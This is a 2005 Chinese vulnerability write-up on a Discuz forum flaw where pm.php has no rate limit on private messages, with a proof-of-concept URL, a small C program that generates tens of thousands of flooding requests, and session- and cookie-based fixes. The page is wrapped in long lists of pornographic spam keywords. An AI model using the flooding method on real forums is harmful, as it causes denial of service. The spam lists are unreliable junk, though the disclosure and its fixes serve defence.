国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關注微信公眾號

Discuz論壇短消息未限制發送次數漏洞
2005-12-17   

前言  
Discuz論壇是由Crossday工作室(涉及版本:  
目前(2003/9/21)所有免費版本(我沒有商業版)  
描述:  
由于pm.php發送消息那部分代碼,缺乏對時間間隔的限制。導致任何用戶可以對任何用戶發送消息炸彈。導致服務器空間、資源被消耗。嚴重可導致拒絕服務。  
具體:  
大家可以看到pm.php文件的86行的代碼:  
86 } elseif($action == ’send’) {  
87  
88 if(!$pmsubmit) {  
……  
179 showmessage(’pm_send_succeed’, ’pm.php’);  
180 }
這部分代碼沒有檢測用戶發送短信的時間間隔限制代碼。我們只要注冊任意一個用戶登陸后,提交:  
http://127.0.0.1/discuz/pm.php?action=send...st&message=test
就可以轟炸angel這個用戶了。提高效率的攻擊方法:  
#incluse  
main()  
{  
int i;  
for(i=0;i<55933;i++)  
{  
printf("\nwww.xxx.com/discuz/pm.php?action=send&pmsubmit=submit&msgto=angel&subject=test&message=test",i);  
}  
}
編譯運行file.exe >discuzpm.txt,然后把discuzpm.txt導入任何一款CGI掃描器。Run……  
防范方法:  
一,限制用戶發信的間隔時間  
可以利用PHP的SESSION或者COOKIE來限制用戶每次發信的間隔。處理用戶發送短信時,可以選擇以下兩種方式區別用戶是否在規定的時間內連續發送短信,假設管理員設置兩次發帖時間的間隔為2分鐘,看看下面兩個例子:  
Cookie方式:  
if ($beforepmid) die("對不起,你兩次發信的時間間隔還不到2分鐘"); // $beforepmid  
前一次發信的ID  
else setcookie("beforepmid",$pmid,time()+60*2,"/","",0); // $pmid  
短信ID
Session方式:  
session_start();  
if (session_is_registered("time") && time()-$_SESSION[’time’]<60*2)  
{  
die("對不起,你兩次發帖的時間間隔還不到2分鐘"); // $time 前一次發信的時間  
} else {  
$time=time();  
session_register("time");  
}
看起來Cookie需要發送到客戶端,攻擊者可以刪除該Cookie,好象Session比較安全些,在服務器端。不過實際上我認為應該是差不多的。因為他是連續發送,中間的間隔時間很短,來不急去刪除該Cookie的。但也不排除自己編段小程序來刪除Cookie。為了萬全,還是使用Session吧。Session方式的文件為"session_pm.php",去掉前面的"session_"然后覆蓋到Discuz目錄下,記得備份原Discuz目錄下的pm.php,以免出錯后可以挽回。  
如果希望用Cookie的方式來防止攻擊的哈,就用這個"cookie_pm.php"吧。把前面的"cookie_"去掉,然后覆蓋到Discuz目錄下,最好先備份Discuz目錄下的pm.php文件。  
二,對于以上提高效率的攻擊的防止辦法  
將第86行后加入以下代碼  
$pmsubmit=$_POST[’pmsubmit’];  
$msgto=$_POST[’msgto’];  
$subject=$_POST[’subject’];  
$message=$_POST[’message’];
OK,這下上面所說的的高效攻擊方法失效了。  
最后,付上兩個修改好的pm.php文件(http://www.4ngel.net/img/pm.rar)。一個為cookie方式,一個為session方式。如果你是直接使用上面文件中的一樣,請將文件名改為pm.php然后在覆蓋到discuz目錄下,再進入管理遠后臺的:界面風格->模板套系  
下編輯:Discuz! 語言包 下的 templates 選項。搜索"pm_box_isfull",把  
’pm_box_isfull’ => ’您的信箱已滿,在閱讀短消息前必須刪除一些不用的信息。’,  
改為以下內容:  
’pm_box_isfull’ => ’您的信箱已滿,在閱讀短消息前必須刪除一些不用的信息。’,  
’pm_send_partition’ => ’對不起,你兩次發信的時間間隔還不到2分鐘。’,  
’pm_nonexistence’ => ’對不起,短消息不存在或已被刪除。’
特別感謝金玄網(http://www.gixuan.net)的金玄給予大力的支持和幫助。其實discuz論壇還是個未成熟的論壇。還有一些大大小小的漏洞。希望開發者們能注意。 

熱詞搜索:

上一篇:破解asp木馬密碼
下一篇:access數據庫跨文件查詢漏洞的初步報告

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
每日更新成人在线视频| 欧美美女操人视频| 欧美三级视频在线| 久久久综合视频| 午夜精品福利一区二区蜜股av| 亚洲黄色免费网站| 影音先锋日韩有码| 国内外成人在线视频| 国产视频精品网| 国产精品一区二区三区四区五区| 欧美视频在线观看一区二区| 欧美色道久久88综合亚洲精品| 欧美精品三级在线观看| 欧美风情在线观看| 美乳少妇欧美精品| 免费亚洲一区| 美女啪啪无遮挡免费久久网站| 久久在线免费| 欧美黄污视频| 欧美日韩国产美| 欧美性一区二区| 国产精品久久一级| 国产精品成人一区| 国产亚洲精品aa午夜观看| 国产一区二区三区黄视频| 国产综合18久久久久久| 亚洲成人在线视频播放| 亚洲国产va精品久久久不卡综合| 在线观看成人网| 亚洲卡通欧美制服中文| 一区二区三区免费在线观看| 亚洲欧美国产精品va在线观看| 欧美一二三区在线观看| 久久久精品五月天| 麻豆国产精品777777在线| 欧美国产成人精品| 欧美午夜电影在线| 国模吧视频一区| 亚洲精品免费一二三区| 亚洲在线成人精品| 久久久水蜜桃| 欧美日韩另类视频| 国产视频自拍一区| 亚洲精品国产精品国自产观看| 亚洲视频欧洲视频| 久久精品国产第一区二区三区最新章节| 久久久亚洲国产美女国产盗摄| 欧美激情偷拍| 国产精品亚洲综合久久| 一色屋精品视频在线观看网站| 日韩写真在线| 久久久久久九九九九| 欧美精品亚洲精品| 国产一区二区三区电影在线观看| 亚洲精品综合精品自拍| 久久激情五月婷婷| 欧美日韩在线亚洲一区蜜芽| 国一区二区在线观看| 正在播放欧美视频| 美日韩精品视频| 国产视频自拍一区| 国产精品99久久久久久白浆小说| 久久先锋影音av| 国产美女一区二区| 中文欧美在线视频| 免费成人高清| 国语自产在线不卡| 欧美亚洲一区二区在线观看| 欧美性开放视频| 亚洲伦理在线| 美日韩在线观看| 黄色另类av| 欧美综合77777色婷婷| 欧美日韩另类视频| 亚洲经典自拍| 老鸭窝毛片一区二区三区| 国产一区二区三区四区hd| 亚洲自拍偷拍麻豆| 欧美视频观看一区| 亚洲狼人精品一区二区三区| 免费成人在线视频网站| 激情五月婷婷综合| 久久久.com| 国语自产精品视频在线看一大j8| 亚洲专区欧美专区| 国产精品国产三级国产| 亚洲伦理精品| 欧美日韩三级| 宅男噜噜噜66一区二区| 国产精品va在线| 亚洲少妇在线| 国产精品欧美经典| 欧美一区二区久久久| 国产女人18毛片水18精品| 亚洲午夜羞羞片| 国产麻豆日韩欧美久久| 午夜伦理片一区| 国产一区二区精品久久99| 久久av一区二区三区| 国产色综合网| 久久一区二区精品| 91久久精品国产91久久| 欧美精品观看| 亚洲一区二三| 国产亚洲永久域名| 久久综合色8888| 亚洲精品国产精品国自产在线 | 久久久久久久久蜜桃| 国产三级精品在线不卡| 久久精品日韩| 亚洲二区在线| 欧美日韩精品一区二区在线播放| 中文精品视频一区二区在线观看| 欧美午夜一区二区福利视频| 午夜亚洲精品| 一区二区三区在线免费播放| 欧美韩日高清| 亚洲欧美日韩第一区| 国内精品久久久久久久果冻传媒 | 国产日韩精品在线观看| 久久福利影视| 亚洲激情一区二区| 国产精品chinese| 久久成人这里只有精品| 亚洲国产综合91精品麻豆| 欧美日韩国产成人在线观看| 亚洲一区影音先锋| 国产主播一区| 欧美极品在线视频| 性欧美xxxx大乳国产app| 在线国产精品播放| 国产精品国产三级国产普通话三级| 欧美影院成人| 亚洲人成高清| 国产亚洲欧洲一区高清在线观看| 欧美+日本+国产+在线a∨观看| 亚洲色诱最新| 亚洲欧洲日本一区二区三区| 国产精品美女www爽爽爽视频| 久久婷婷久久| 午夜精品久久久久久99热| 亚洲国产成人在线播放| 国产精品女人网站| 欧美jizz19性欧美| 久久激五月天综合精品| 一区二区三区视频在线| 在线日韩精品视频| 国产欧美日韩视频一区二区| 欧美高清视频| 久久免费一区| 午夜日韩av| 一区二区三区精品久久久| 一区二区在线视频| 国产精品一区三区| 欧美日韩一区自拍| 欧美高清视频在线| 久久亚洲欧美| 久久精品在线| 欧美一区二区三区在线观看| 亚洲视频在线免费观看| 亚洲三级观看| 亚洲激情在线视频| 精品盗摄一区二区三区| 国产模特精品视频久久久久| 欧美性淫爽ww久久久久无| 欧美精品一区二区久久婷婷| 久久一区二区三区四区| 久久精品国产精品亚洲精品| 亚洲欧美日韩精品在线| 亚洲天堂av高清| 一区二区三区蜜桃网| 亚洲美女性视频| 日韩视频在线观看一区二区| 亚洲精品乱码久久久久久蜜桃91| 曰韩精品一区二区| 激情久久久久久久久久久久久久久久| 国产精品一区一区三区| 国产精品一区二区久久精品 | 欧美成人午夜剧场免费观看| 久久久噜噜噜久久| 久久久青草婷婷精品综合日韩| 久久电影一区| 蜜桃av一区| 欧美精品久久一区| 欧美日本在线| 国产精品大全| 国产视频在线观看一区| 国产午夜亚洲精品不卡| 国产视频亚洲| 好吊色欧美一区二区三区四区| 黄色在线一区| 亚洲国产清纯| 99在线|亚洲一区二区| 国产精品99久久久久久人 | 激情欧美国产欧美| 在线日韩欧美| 日韩亚洲不卡在线| 亚洲欧美国产一区二区三区| 久久成人综合网| 欧美极品影院|